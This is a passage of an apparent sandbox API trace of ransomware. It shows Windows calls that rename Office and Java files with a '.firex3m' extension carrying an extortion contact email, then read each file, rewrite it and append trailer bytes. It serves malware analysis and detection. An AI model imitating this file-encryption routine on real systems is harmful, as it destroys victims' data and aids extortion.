cFileName="AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APE68D~1.FIR")) returned 0x6d5280 [0123.331] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0123.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0123.332] GetProcessHeap () returned 0x630000 [0123.332] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x501) returned 0x6e5368 [0123.332] GetProcessHeap () returned 0x630000 [0123.332] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x501) returned 0x6e5878 [0123.332] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.332] ReadFile (in: hFile=0x414, lpBuffer=0x6e5368, nNumberOfBytesToRead=0x4e0, lpNumberOfBytesRead=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e5368*, lpNumberOfBytesRead=0x623ff0c*=0x4e0, lpOverlapped=0x0) returned 1 [0123.847] GetProcessHeap () returned 0x630000 [0123.847] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0123.847] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.847] WriteFile (in: hFile=0x414, lpBuffer=0x6e5878*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e5878*, lpNumberOfBytesWritten=0x623ff0c*=0x4e0, lpOverlapped=0x0) returned 1 [0123.847] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.847] WriteFile (in: hFile=0x414, lpBuffer=0x6e5d57*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e5d57*, lpNumberOfBytesWritten=0x623ff0c*=0x20, lpOverlapped=0x0) returned 1 [0123.847] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.847] WriteFile (in: hFile=0x414, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x623ff0c*=0x4, lpOverlapped=0x0) returned 1 [0123.847] CloseHandle (hObject=0x414) returned 1 [0124.055] GetProcessHeap () returned 0x630000 [0124.055] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e5878 | out: hHeap=0x630000) returned 1 [0124.055] GetProcessHeap () returned 0x630000 [0124.055] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e5368 | out: hHeap=0x630000) returned 1 [0124.055] GetProcessHeap () returned 0x630000 [0124.055] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0124.055] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.055] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fcc4 | out: lpFindFileData=0x623fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83ea71ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83ea71ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc7fccd, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x511, dwReserved0=0x90c7496, dwReserved1=0x6e5360, cFileName="AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APE68D~1.FIR")) returned 0x6d5540 [0124.161] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0124.709] Sleep (dwMilliseconds=0x1) [0128.976] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index", len=0x35 | out: pbstr=0x623ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 1 [0128.976] GetProcessHeap () returned 0x630000 [0128.976] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x8c) returned 0x66a3e0 [0128.976] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0128.985] CloseHandle (hObject=0x648) returned 1 [0128.985] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0128.985] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0128.994] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0129.021] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fc6c | out: lpFindFileData=0x623fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5b5, dwReserved0=0x4c001a56, dwReserved1=0x0, cFileName="meta-index.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="META-I~1.FIR")) returned 0x6d5480 [0129.022] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0129.022] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0129.022] GetProcessHeap () returned 0x630000 [0129.022] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5c1) returned 0x6868e0 [0129.022] GetProcessHeap () returned 0x630000 [0129.022] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5c1) returned 0x71be9f0 [0129.022] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.022] ReadFile (in: hFile=0x648, lpBuffer=0x6868e0, nNumberOfBytesToRead=0x5a0, lpNumberOfBytesRead=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6868e0*, lpNumberOfBytesRead=0x623ff0c*=0x5a0, lpOverlapped=0x0) returned 1 [0129.049] GetProcessHeap () returned 0x630000 [0129.049] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318670 [0129.049] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.049] WriteFile (in: hFile=0x648, lpBuffer=0x71be9f0*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71be9f0*, lpNumberOfBytesWritten=0x623ff0c*=0x5a0, lpOverlapped=0x0) returned 1 [0129.049] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.049] WriteFile (in: hFile=0x648, lpBuffer=0x71bef8f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71bef8f*, lpNumberOfBytesWritten=0x623ff0c*=0x20, lpOverlapped=0x0) returned 1 [0129.049] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.049] WriteFile (in: hFile=0x648, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x623ff0c*=0x4, lpOverlapped=0x0) returned 1 [0129.049] CloseHandle (hObject=0x648) returned 1 [0129.050] GetProcessHeap () returned 0x630000 [0129.050] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71be9f0 | out: hHeap=0x630000) returned 1 [0129.050] GetProcessHeap () returned 0x630000 [0129.050] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6868e0 | out: hHeap=0x630000) returned 1 [0129.050] GetProcessHeap () returned 0x630000 [0129.050] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318670 | out: hHeap=0x630000) returned 1 [0129.051] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0129.051] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fcc4 | out: lpFindFileData=0x623fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x12dd6978, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x5d9, dwReserved0=0x90c7496, dwReserved1=0x6868d8, cFileName="meta-index.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="META-I~1.FIR")) returned 0x6d4ec0 [0129.051] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0129.051] Sleep (dwMilliseconds=0x1) [0131.296] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif", len=0x3b | out: pbstr=0x623ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 1 [0131.296] GetProcessHeap () returned 0x630000 [0131.296] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x68) returned 0x66a3e0 [0131.296] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0131.297] CloseHandle (hObject=0x69c) returned 1 [0131.297] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.297] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0131.298] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.298] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fc6c | out: lpFindFileData=0x623fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3bac, dwReserved0=0x0, dwReserved1=0x0, cFileName="splash@2x.gif.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SPLASH~3.FIR")) returned 0x6d5200 [0131.298] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0131.298] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0131.298] GetProcessHeap () returned 0x630000 [0131.298] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3bc1) returned 0x6fc0048 [0131.298] GetProcessHeap () returned 0x630000 [0131.298] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3bc1) returned 0x6fa7408 [0131.299] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.299] ReadFile (in: hFile=0x69c, lpBuffer=0x6fc0048, nNumberOfBytesToRead=0x3ba0, lpNumberOfBytesRead=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fc0048*, lpNumberOfBytesRead=0x623ff0c*=0x3ba0, lpOverlapped=0x0) returned 1 [0133.292] GetProcessHeap () returned 0x630000 [0133.292] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318440 [0133.293] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.293] WriteFile (in: hFile=0x69c, lpBuffer=0x6fa7408*, nNumberOfBytesToWrite=0x3ba0, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa7408*, lpNumberOfBytesWritten=0x623ff0c*=0x3ba0, lpOverlapped=0x0) returned 1 [0133.293] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.293] WriteFile (in: hFile=0x69c, lpBuffer=0x6faafa7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6faafa7*, lpNumberOfBytesWritten=0x623ff0c*=0x20, lpOverlapped=0x0) returned 1 [0133.293] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.293] WriteFile (in: hFile=0x69c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x623ff0c*=0x4, lpOverlapped=0x0) returned 1 [0133.293] CloseHandle (hObject=0x69c) returned 1 [0134.379] GetProcessHeap () returned 0x630000 [0134.379] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fa7408 | out: hHeap=0x630000) returned 1 [0134.379] GetProcessHeap () returned 0x630000 [0134.379] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fc0048 | out: hHeap=0x630000) returned 1 [0134.379] GetProcessHeap () returned 0x630000 [0134.379] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318440 | out: hHeap=0x630000) returned 1 [0134.379] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0134.379] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fcc4 | out: lpFindFileData=0x623fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x1565719e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x3bd0, dwReserved0=0x90c7496, dwReserved1=0x6fc0040, cFileName="splash@2x.gif.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SPLASH~3.FIR")) returned 0x6d4e00 [0134.380] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0134.381] Sleep (dwMilliseconds=0x1) [0134.384] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF", len=0x44 | out: pbstr=0x623ff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 1 [0134.384] GetProcessHeap () returned 0x630000 [0134.384] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x198) returned 0x66a3e0 [0134.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0134.384] CloseHandle (hObject=0x69c) returned 1 [0134.384] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0134.385] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0134.385] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0134.385] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fc6c | out: lpFindFileData=0x623fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcdbb058, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f86, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00195_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BL0019~1.FIR")) returned 0x6d4e40 [0134.385] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0134.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0134.386] GetProcessHeap () returned 0x630000 [0134.386] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1fa1) returned 0x717e3a0 [0134.386] GetProcessHeap () returned 0x630000 [0134.386] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1fa1) returned 0x722e9c8 [0134.386] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.386] ReadFile (in: hFile=0x69c, lpBuffer=0x717e3a0, nNumberOfBytesToRead=0x1f80, lpNumberOfBytesRead=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x717e3a0*, lpNumberOfBytesRead=0x623ff0c*=0x1f80, lpOverlapped=0x0) returned 1 [0134.419] GetProcessHeap () returned 0x630000 [0134.419] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318788 [0134.419] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.419] WriteFile (in: hFile=0x69c, lpBuffer=0x722e9c8*, nNumberOfBytesToWrite=0x1f80, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x722e9c8*, lpNumberOfBytesWritten=0x623ff0c*=0x1f80, lpOverlapped=0x0) returned 1 [0134.419] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.419] WriteFile (in: hFile=0x69c, lpBuffer=0x7230947*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7230947*, lpNumberOfBytesWritten=0x623ff0c*=0x20, lpOverlapped=0x0) returned 1 [0134.419] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.419] WriteFile (in: hFile=0x69c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x623ff0c*=0x4, lpOverlapped=0x0) returned 1 [0134.419] CloseHandle (hObject=0x69c) returned 1 [0134.420] GetProcessHeap () returned 0x630000 [0134.420] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x722e9c8 | out: hHeap=0x630000) returned 1 [0134.420] GetProcessHeap () returned 0x630000 [0134.420] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717e3a0 | out: hHeap=0x630000) returned 1 [0134.420] GetProcessHeap () returned 0x630000 [0134.420] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318788 | out: hHeap=0x630000) returned 1 [0134.420] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0134.421] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fcc4 | out: lpFindFileData=0x623fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16120353, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1faa, dwReserved0=0x90c7496, dwReserved1=0x717e398, cFileName="BL00195_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BL0019~1.FIR")) returned 0x6d5200 [0134.421] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0134.421] Sleep (dwMilliseconds=0x1) [0136.449] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF", len=0x44 | out: pbstr=0x623ff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 1 [0136.449] GetProcessHeap () returned 0x630000 [0136.449] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x670860, Size=0x250) returned 0x670860 [0136.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0136.449] CloseHandle (hObject=0x6a8) returned 1 [0136.449] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0136.449] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0136.450] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, 